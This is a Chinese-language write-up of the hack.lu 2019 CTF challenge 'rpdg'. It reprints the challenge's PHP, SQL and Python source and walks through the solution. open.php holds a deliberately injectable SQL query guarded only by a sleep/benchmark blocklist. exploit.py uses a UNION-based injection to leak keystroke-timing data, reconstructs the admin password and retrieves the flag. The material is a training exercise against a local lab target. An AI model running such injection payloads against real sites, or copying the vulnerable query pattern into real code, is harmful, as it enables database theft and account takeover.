2019hack.luCTF的rpdg的环境的搭建到解决的详细过程

前言

2019hack.luCTF的rpdg的环境搭建到解决的详细过程

0x01 rpdg
目录的结构如下:

app目录下:
  • static目录下全部是静态文件就不分析了。
  • admin.php文件的内容如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <?php

    session_start();

    if (isset($_SESSION['username']) && $_SESSION['username'] === 'admin') {
    echo "flag{GDPR_is_here_to_save_y'all}";
    } else {
    header('HTTP/1.1 403 Forbidden');
    die('nope');
    }

    ?>
3行开启session可以在页面间传递数据。
5~10行判断是否用户是admin,是就可以拿到flag,不是就返回一个403响应头。
  • db.php的内容如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <?php

    $db = new mysqli('db', 'rpdg', 'Luung4aithaiCh3aetho', 'rpdg');
    if (!$db) {
    die('db oof');
    }

    if (!$db->set_charset("utf8")) {
    error_log("db charset oof: ".$db->error);
    }

    ?>
3~10行是设置连接数据库的句柄,并且设置数据库的字符集。
  • Dockerfile的内容如下:
    1
    2
    3
    4
    FROM php:7.3-fpm-alpine

    RUN docker-php-ext-install mysqli \
    && docker-php-ext-enable mysqli
就是下载mysqli的扩展。
  • favicon.ico是一张图片。

  • index.php的内容如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    <?php

    require_once 'db.php';

    session_start();

    $result = $db->query("SELECT * FROM `culture`");
    if (!$result) {
    error_log('db oof: '.$result);
    die('db oof');
    }

    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="">
    <meta name="author" content="">

    <title>Bundesamt für Internetkultur und würzige Ichichs</title>

    <link href="static/bootstrap.min.css" rel="stylesheet">
    <link href="static/style.css" rel="stylesheet">
    </head>
    <body>
    <nav class="navbar navbar-expand-lg navbar-dark bg-dark static-top">
    <div class="container">
    <a class="navbar-brand" href="#">Bundesamt für Internetkultur und würzige Ichichs</a>
    <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation">
    <span class="navbar-toggler-icon"></span>
    </button>
    <div class="collapse navbar-collapse" id="navbarResponsive">
    <ul class="navbar-nav ml-auto">
    <li class="nav-item active">
    <a class="nav-link" href="index.php">Home</a>
    <span class="sr-only">(current)</span>
    </li>
    <li class="nav-item">
    <a class="nav-link" href="register.php">Register</a>
    </li>
    <li class="nav-item">
    <a class="nav-link" href="login.php">Login</a>
    </li>
    </ul>
    </div>
    </div>
    </nav>

    <div class="container">
    <div class="row">
    <div class="col-lg-12 text-center">
    <img id="logo" class="ma-3" src="static/logo.png">
    <p class="lead">Besides beer, pretzels and cars, Germany also offers a wonderful internet culture. Enjoy!</p>
    <div class="container">
    <div class="card-columns">
    <?php while ($row = $result->fetch_assoc()) { ?>
    <div class="card text-white bg-dark culture-item" data-title="<?php echo $row['title']; ?>">
    <img class="card-img-top thumbnail" src="<?php echo '//i3.ytimg.com/vi/'.substr($row['link'], -11).'/hqdefault.jpg'; ?>" alt="Thumbnail">
    <div class="card-body text-left">
    <h5 class="card-title"><?php echo mb_convert_encoding($row['title'], 'utf-8'); ?></h5>
    <p class="card-text"><small><?php echo $row['year'] ?></small></p>
    </div>
    </div>
    <?php } ?>
    </div>
    </div>
    </div>
    </div>
    </div>

    <script src="static/jquery.slim.min.js"></script>
    <script src="static/bootstrap.bundle.min.js"></script>
    <script src="tracc.php"></script>
    <script>
    document.querySelectorAll('.culture-item').forEach(item => {
    item.onclick = () => {
    window.open(`/open.php?title=${encodeURIComponent(btoa(item.dataset.title))}`, '_blank');
    };
    });
    </script>
    </body>
    </html>
  • login.php的内容:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    <?php

    $db = new mysqli('db', 'rpdg-login', 'muLuqueiL7hiekei7roo', 'rpdg');
    if (!$db) {
    die('db oof');
    }

    session_start();

    if (isset($_POST['user']) && isset($_POST['pass'])) {
    $user = $_POST['user'];
    $pass = $_POST['pass'];

    if (!is_string($user) || !is_string($pass)) {
    die('nope');
    }

    $stmt = $db->prepare('SELECT `pwhash` FROM `users` WHERE `name`=?');
    if (!$stmt) {
    error_log('db oof: '.$db->error);
    die('db oof');
    }

    $stmt->bind_param('s', $user);
    if (!$stmt->execute()) {
    error_log('db oof: '.$db->error);
    die('db oof');
    }

    $result = $stmt->get_result();
    if (!$result) {
    die('nope');
    }

    $row = $result->fetch_assoc();
    if (!$row) {
    die('nope');
    }

    $hash = $row['pwhash'];
    $valid = password_verify($pass, $hash);

    if ($valid) {
    $_SESSION['username'] = $user;

    header('Location: /admin.php');
    die('redirecting...');
    } else {
    $error_msg = 'Your credentials are bad and you should feel bad!';
    }
    }

    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="">
    <meta name="author" content="">

    <title>Bundesamt für Internetkultur und würzige Ichichs</title>

    <link href="static/bootstrap.min.css" rel="stylesheet">
    </head>
    <body>
    <nav class="navbar navbar-expand-lg navbar-dark bg-dark static-top">
    <div class="container">
    <a class="navbar-brand" href="index.php">Bundesamt für Internetkultur und würzige Ichichs</a>
    <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation">
    <span class="navbar-toggler-icon"></span>
    </button>
    <div class="collapse navbar-collapse" id="navbarResponsive">
    <ul class="navbar-nav ml-auto">
    <li class="nav-item">
    <a class="nav-link" href="index.php">Home</a>
    </li>
    <li class="nav-item">
    <a class="nav-link" href="register.php">Register</a>
    </li>
    <li class="nav-item active">
    <a class="nav-link" href="login.php">Login</a>
    <span class="sr-only">(current)</span>
    </li>
    </ul>
    </div>
    </div>
    </nav>

    <div class="container">
    <div class="row justify-content-center">
    <div class="col-lg-6">
    <h1 class="mt-5">Login</h1>
    <?php if ($error_msg) { ?>
    <div class="alert alert-danger" role="alert">
    <?php echo $error_msg; ?>
    </div>
    <?php } ?>
    <form method="POST">
    <div class="form-group">
    <label for="username">Username</label>
    <input type="text" class="form-control" id="username" name="user" placeholder="Enter username">
    </div>
    <div class="form-group">
    <label for="password">Password</label>
    <input type="password" class="form-control" id="password" name="pass" placeholder="Password">
    </div>
    <button type="submit" class="btn btn-primary">Submit</button>
    </form>
    </div>
    </div>
    </div>

    <script src="static/jquery.slim.min.js"></script>
    <script src="static/bootstrap.bundle.min.js"></script>
    </body>
    </html>
18行准备要执行的语句,并返回语句对象。
参考链接
41行验证密码是否和散列值匹配。
参考链接
43行验证成功就跳转到/admin.php
  • open.php的内容:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    <?php

    require_once 'db.php';

    // no hax
    if (!isset($_GET['title']) || !is_string($_GET['title'])) {
    die('nope');
    }

    $title = base64_decode($_GET['title']);
    if (preg_match('/(?:sleep|benchmark)/i', $title)) {
    error_log('Blocked: '.$title);
    die('hack harder');
    }

    $result = $db->query('SELECT * FROM `culture` WHERE `id`=(SELECT `id` FROM `culture` WHERE `title`="'.$title.'")');
    if (!$result) {
    error_log('db oof: '.$db->error);
    die('db oof: '.$db->error);
    }

    $row = $result->fetch_assoc();
    if (!$row) {
    die('nope');
    }

    // redirect
    header('Location: '.$row['link']);

    ?>
11行匹配sleepbenchmark但是不记住匹配项。
16行明显存在sql注入的情况。
参考链接
  • register.php的内容如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="">
    <meta name="author" content="">

    <title>Bundesamt für Internetkultur und würzige Ichichs</title>

    <link href="static/bootstrap.min.css" rel="stylesheet">
    </head>
    <body>
    <nav class="navbar navbar-expand-lg navbar-dark bg-dark static-top">
    <div class="container">
    <a class="navbar-brand" href="index.php">Bundesamt für Internetkultur und würzige Ichichs</a>
    <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation">
    <span class="navbar-toggler-icon"></span>
    </button>
    <div class="collapse navbar-collapse" id="navbarResponsive">
    <ul class="navbar-nav ml-auto">
    <li class="nav-item">
    <a class="nav-link" href="index.php">Home</a>
    </li>
    <li class="nav-item active">
    <a class="nav-link" href="register.php">
    Register
    <span class="sr-only">(current)</span>
    </a>
    </li>
    <li class="nav-item">
    <a class="nav-link" href="login.php">Login</a>
    </li>
    </ul>
    </div>
    </div>
    </nav>

    <div class="container">
    <div class="row">
    <div class="col-lg-12 text-center">
    <h1 class="mt-5">Registration</h1>
    <p class="lead">... is closed ¯\_(ツ)_/¯</p>
    </div>
    </div>
    </div>

    <script src="static/jquery.slim.min.js"></script>
    <script src="static/bootstrap.bundle.min.js"></script>
    </body>
    </html>
db目录下:
  • init.sql的内容如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    -- create the db with unicode support
    CREATE DATABASE `rpdg`;
    -- ALTER DATABASE `rpdg` CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
    USE `rpdg`;

    -- create the tables
    CREATE TABLE `users` (
    `id` INT AUTO_INCREMENT PRIMARY KEY,
    `name` VARCHAR(255) NOT NULL,
    `pwhash` VARCHAR(255) NOT NULL
    );
    CREATE TABLE `tracking` (
    `id` INT AUTO_INCREMENT PRIMARY KEY,
    `key` VARCHAR(16) NOT NULL,
    `timestamp` LONG NOT NULL,
    `user` INT NOT NULL,
    `path` VARCHAR(4095) NOT NULL,
    FOREIGN KEY (user) REFERENCES users(id)
    );
    CREATE TABLE `culture` (
    `id` INT AUTO_INCREMENT PRIMARY KEY,
    `title` VARCHAR(255) NOT NULL,
    `link` VARCHAR(255) NOT NULL,
    `year` INT NOT NULL
    );

    -- create the app user
    CREATE USER 'rpdg'@'%' IDENTIFIED WITH mysql_native_password BY 'Luung4aithaiCh3aetho';
    -- ALTER USER 'rpdg'@'%' IDENTIFIED WITH mysql_native_password BY 'Luung4aithaiCh3aetho';
    REVOKE ALL PRIVILEGES ON *.* FROM 'rpdg'@'%';
    GRANT SELECT ON `rpdg`.`tracking` TO 'rpdg'@'%';
    GRANT SELECT ON `rpdg`.`culture` TO 'rpdg'@'%';

    -- create a special user for login-related stuff
    CREATE USER 'rpdg-login'@'%' IDENTIFIED WITH mysql_native_password BY 'muLuqueiL7hiekei7roo';
    -- ALTER USER 'rpdg-login'@'%' IDENTIFIED WITH mysql_native_password BY 'muLuqueiL7hiekei7roo';
    REVOKE ALL PRIVILEGES ON *.* FROM 'rpdg-login'@'%';
    GRANT SELECT ON `rpdg`.`users` TO 'rpdg-login'@'%';

    FLUSH PRIVILEGES;

    -- create the internet culture data
    INSERT INTO `culture` (`title`, `link`, `year`) VALUES
    ('Kranfuehrer Ronny', 'https://www.youtube.com/watch?v=UGlPbphlpBg', 2016),
    ('Thueringer Kloesse', 'https://www.youtube.com/watch?v=qJe3cdM7f1c', 2012),
    ('Fichtls Lied', 'https://www.youtube.com/watch?v=dP9Wp6QVbsk', 2012),
    ('Nudeln', 'https://www.youtube.com/watch?v=ouMuU5PXNvU', 2008),
    ('Hauptschule', 'https://www.youtube.com/watch?v=IXarjKOrv00', 2010),
    ('Blumenkohl', 'https://www.youtube.com/watch?v=hFNs5JGGmvI', 2009),
    ('Bim Bam Bum', 'https://www.youtube.com/watch?v=koymOv6SifE', 2007),
    ('KS Mafia', 'https://www.youtube.com/watch?v=YQalL7jeT0o', 2012),
    ('Gesicherter Bereich', 'https://www.youtube.com/watch?v=71DdxJF8rmg', 2016),
    ('Gewitter', 'https://www.youtube.com/watch?v=PCc7NuDB8mo', 2012),
    ('Haben wir noch Peps?', 'https://www.youtube.com/watch?v=Ko81Oedo4t8', 2014),
    ('Nicht so tief Ruediger', 'https://www.youtube.com/watch?v=NseWRQ1JYoM', 2010),
    ('Andreas', 'https://www.youtube.com/watch?v=C1fCJvgNDow', 2011),
    ('Wo bist du, mein Sonnenlicht', 'https://www.youtube.com/watch?v=Mue6Vc_T9Ds', 2006),
    ('Schokolade', 'https://www.youtube.com/watch?v=WuQOfiD7gNg', 2009),
    ('Voll Assi Toni', 'https://www.youtube.com/watch?v=f4ffzhNOh1s', 2010),
    ('Zur Party', 'https://www.youtube.com/watch?v=3VyEWthLklc', 2012),
    ('Erdbeerkaese', 'https://www.youtube.com/watch?v=08lgAZP4CSk', 2011),
    ('Was ist denn mit Karsten los', 'https://www.youtube.com/watch?v=J2v0EG--tr0', 2009),
    ('Reifenverlust', 'https://www.youtube.com/watch?v=Lo05D-_k1d4', 2007),
    ('Fickende Leute in meinem Garten', 'https://www.youtube.com/watch?v=mEXItEgKWwQ', 2011),
    ('Alarm', 'https://www.youtube.com/watch?v=erTE5mEOMeI', 2016),
    ('Kuchenblech', 'https://www.youtube.com/watch?v=NtRGMIahxPo', 2013),
    ('Boar alta geil ey, unnormal ey!', 'https://www.youtube.com/watch?v=_H2B7pFIRwY', 2010);
  • tracking-data.sql的内容太多就不贴了。

    scripts目录下:
  • data目录下的文件是一些数据收集,就不分析了。

  • generate_password.py的内容如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    #!/usr/bin/env python

    import re
    import sys
    import random


    def bigrams(s):
    return [char_a + char_b for char_a, char_b in zip(s[:-1], s[1:])]


    def generate_password(s):
    # prepare text to avoid non-alphanumeric
    s = re.sub(r'[^a-zA-Z0-9]', ' ', s)

    next_char_map = {}
    for bigram in bigrams(s):
    #print('"{}"'.format(bigram))
    char_a, char_b = bigram[0], bigram[1]
    if char_a not in next_char_map:
    next_char_map[char_a] = []
    next_char_map[char_a].append(char_b)
    #print(next_char_map)

    # delete anything that maps to space to avoid a password
    # that consists of characters that were previously removed
    del next_char_map[' ']

    next_char_map_ = next_char_map.copy()
    password = random.choice(random.choice(list(next_char_map.keys())))
    while len(password) < 16:
    #print(''.join(password))
    last_char = password[-1]
    if last_char not in next_char_map:
    next_char_map = next_char_map_.copy()
    password = random.choice(random.choice(list(next_char_map.keys())))
    continue
    next_char = random.choice(next_char_map[last_char])
    del next_char_map[last_char]
    password += next_char

    return ''.join(password)


    def generate_password_from_file(textfile):
    with open(textfile, 'r') as f:
    text = f.read()
    password = generate_password(text)
    return password


    def main(textfile):
    password = generate_password_from_file(textfile)
    print('[+] Password: {}'.format(password))


    if __name__ == '__main__':
    if len(sys.argv) != 2:
    print('Usage: {} <textfile>'.format(sys.argv[0]))
    else:
    main(sys.argv[1])
8~9行将一个列表中的元素两两合并为一个并且,返回成一个新的数组。
14行将不是字符串的数字和字母替换为空格。
16行定义一个对象。
17行遍历将txt文件中的字符两个结合在一起的数组。
19行将生成的两个字符的字符串分别将其中的字符赋值给char_achar_b
20~21行判断char_a是否在next_char_map中如果不在就将其设置一个数组对象。
22行将char_b添加到next_char_map对象中。
27行删除对象的键为空格的。
29行对象的拷贝。
30行返回next_char_map中键的随机项。
32行获取password的最后一个字母。
34~37行判断last_char是否在next_char_map中不是就按照上面的步骤。
38行生成下一个字符。
39行删除last_char数组对象。
40行合并password字符串。
42行返回一个字符串。
其余没有必要再分析了。
  • generate_behaviour.py的内容如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    #!/usr/bin/env python

    import sys
    import random
    try:
    from bcrypt import hashpw, gensalt
    except:
    print('Please pip install bcrypt')
    exit(1)

    from generate_password import generate_password_from_file

    # Time range in milli seconds
    RANGE_SLOW = [400, 500]
    RANGE_FAST = [100, 200]


    # Splits the password into bigrams
    def learn_password(password):
    return [char_a + char_b for char_a, char_b in zip(password[:-1], password[1:])]


    def range_normal_variate(start, end):
    mid = (start + end) / 2
    return round(random.normalvariate(mid, mid * 0.1))


    def annotate_text(learned, text):
    if len(text) == 0:
    return

    # normalize
    text = text.replace('\n', ' ')

    # start at t=0
    annotated = []
    time_offset = 0
    annotated.append((text[0], time_offset))

    for prev_char, curr_char in zip(text[:-1], text[1:]):
    bigram = prev_char + curr_char
    if bigram in learned:
    start, end = RANGE_FAST
    else:
    start, end = RANGE_SLOW
    delta = range_normal_variate(start, end)
    time_offset += delta
    annotated.append((curr_char, time_offset))

    return annotated


    def annotate_file(password, input_file):
    with open(input_file, 'rb') as f:
    content = f.read().decode(encoding='utf-8', errors='ignore')

    learned = learn_password(password)
    annotated = annotate_text(learned, content)

    return annotated


    def main(input_file, password=None):
    if password is None:
    password = generate_password_from_file(input_file)
    password_hash = hashpw(password, gensalt())

    annotated = annotate_file(password, input_file)
    #print(annotated)

    time_start = 1571738400000 # 2019-10-22 10:00:00 UTC
    admin_user_id = 1
    admin_path = "/admin.php"

    print('USE `rpdg`;')
    print()
    print('-- create the admin account')
    print('-- admin:{}'.format(password))
    print('INSERT INTO users (`name`, `pwhash`) VALUES ("admin", "{}");'.format(password_hash))
    print()

    print('INSERT INTO tracking (`key`, `timestamp`, `user`, `path`) VALUES ')
    for key, timestamp in annotated:
    print('("{}", {}, {}, "{}"){}'.format(key, timestamp + time_start, admin_user_id, admin_path, ';' if timestamp == annotated[-1][1] else ','))


    if __name__ == "__main__":
    if len(sys.argv) not in [2, 3]:
    print('Usage: {} <textfile> [password]'.format(sys.argv[0]))
    exit(1)

    input_file = sys.argv[1]
    if len(sys.argv) == 3:
    password = sys.argv[2]
    else:
    password = None

    main(input_file, password=password)
3~9行导入bcrypt包用来验证口令密文。
11行是上面分析的内容。
14~15行是定义时间间隔。
19~20行上面已经分析过了。
23~25行返回一个正态随机变量。
33行将输入的字符串中的换行符全部替换为空格。
40行遍历text两两组合成的两个字符的字符串,如(Lo)。
其余大家感兴趣的继续分析……。
  • analyze.py的内容如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    #!/usr/bin/env python

    from generate_behaviour import annotate_file, annotate_text


    def learn_password_bigrams(annotated):
    # pre-processing
    bigram_speeds = {}
    for a, b in zip(annotated[:-1], annotated[1:]):
    bigram = a[0] + b[0]
    delta = b[1] - a[1]

    if len(bigram) != 2:
    print('!2: "{}"'.format(bigram))
    print(a)
    print(b)

    if bigram not in bigram_speeds:
    bigram_speeds[bigram] = []
    bigram_speeds[bigram].append(delta)

    # calculate means of bigram speeds
    bigram_means = []
    for bigram, speeds in bigram_speeds.items():
    mean = sum(speeds) / len(speeds)
    bigram_means.append((bigram, mean))

    # sort by mean speeds
    bigram_means_sorted = sorted(bigram_means, key=lambda x: x[1])

    # split at the biggest gap
    max_gap = 0
    max_gap_index = 0
    for i, (a, b) in enumerate(zip(bigram_means_sorted[:-1], bigram_means_sorted[1:])):
    gap = b[1] - a[1]
    if gap > max_gap:
    max_gap = gap
    max_gap_index = i + 1

    # separate the bigrams that are in the password
    bigrams_fast = bigram_means_sorted[:max_gap_index]
    password_bigrams = [x[0] for x in bigrams_fast]

    return password_bigrams


    def get_password(password_bigrams):
    # prepare bigrams
    next_char_map = {}
    for bigram in password_bigrams:
    #print('"{}"'.format(bigram))
    char_a, char_b = bigram[0], bigram[1]
    next_char_map[char_a] = char_b

    # find the beginning (the bigram that has no matching predecessor)
    start_bigram = None
    for bigram in password_bigrams:
    if bigram[0] not in next_char_map.values():
    start_bigram = bigram
    break

    # if there is no beginning, there is something wrong
    if start_bigram is None:
    print('Could not find start_bigram :/')
    return None

    # reconstruct the password (put all the bigrams together like dominos)
    bigrams_remaining = password_bigrams[:]
    password = start_bigram
    bigrams_remaining.remove(start_bigram)
    while len(bigrams_remaining) > 0:
    last_char = password[-1]
    next_char = next_char_map[last_char]
    password += next_char
    bigrams_remaining.remove(last_char + next_char)

    # voila, the password!
    return password


    def reconstruct_password(annotated):
    password_bigrams = learn_password_bigrams(annotated)
    return get_password(password_bigrams)


    def main():
    annotated = annotate_file('heim', './data/lorem-ipsum.txt')
    print('[+] Reconstructing password...')
    password = reconstruct_password(annotated)
    print('[+] Password: {}'.format(password))


    if __name__ == "__main__":
    main()
20行将两个字符同时出现的概率加入到bigram_speeds中。
24~26行计算两个字符出现的时间间隔的平均时间并添加到bigram_means
29行按时间也就是速度排序。
53行又将字符两两分开。
上面基本分析完毕。
  • exploit.py
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    #!/usr/bin/env python

    import sys
    import requests
    from urllib.parse import quote
    from base64 import urlsafe_b64encode

    from analyze import reconstruct_password

    BASE_URL = 'http://localhost:8000'
    ITEMS_PER_REQUEST = 50

    def exploit():
    annotated = []

    print('[+] Downloading DB content', end='', flush=True)
    offset = 0
    while True:
    print('.', end='', flush=True)
    sqli = 'nope") UNION SELECT 420, "lel", CONCAT("FLUX", (SELECT group_concat(col SEPARATOR ";") FROM (SELECT CONCAT(`key`, ",", `timestamp`) COLLATE utf8mb4_unicode_ci as col FROM tracking WHERE `key` NOT IN (",", ";", 0x0a) LIMIT {} OFFSET {}) as tmp), "FLUX"), 1337;-- -'.format(ITEMS_PER_REQUEST, offset)
    sqli_b64 = urlsafe_b64encode(bytes(sqli, 'utf-8')).decode('utf-8')

    r = requests.get(BASE_URL + '/open.php?title={}'.format(sqli_b64), allow_redirects=False)
    if r.status_code != 302:
    print(r.status_code)
    print(r.text)
    return

    leak = r.headers['location']
    if len(leak) == 0:
    break

    leak = leak.split("FLUX")[1]
    for item in leak.split(';'):
    last_comma = item.rfind(',')
    key, timestamp = item[:last_comma], item[last_comma+1:]

    # normalize
    if len(key) > 1:
    key = '_'

    annotated.append((key, int(timestamp)))

    offset += ITEMS_PER_REQUEST

    print()
    print('[+] Reconstructing password...')
    password = reconstruct_password(annotated)
    print('[+] Password: {}'.format(password))

    data = {
    'user': 'admin',
    'pass': password,
    }
    r = requests.post(BASE_URL + '/login.php', data=data, allow_redirects=True)
    flag = r.text
    print('[+] Flag: {}'.format(flag))


    if __name__ == "__main__":
    if len(sys.argv) == 2:
    BASE_URL = sys.argv[1]
    exploit()
最后的结果:
1
2
3
4
[+] Downloading DB content........................
[+] Reconstructing password...
[+] Password: womsucingraplequ
[+] Flag: flag{GDPR_is_here_to_save_y'all}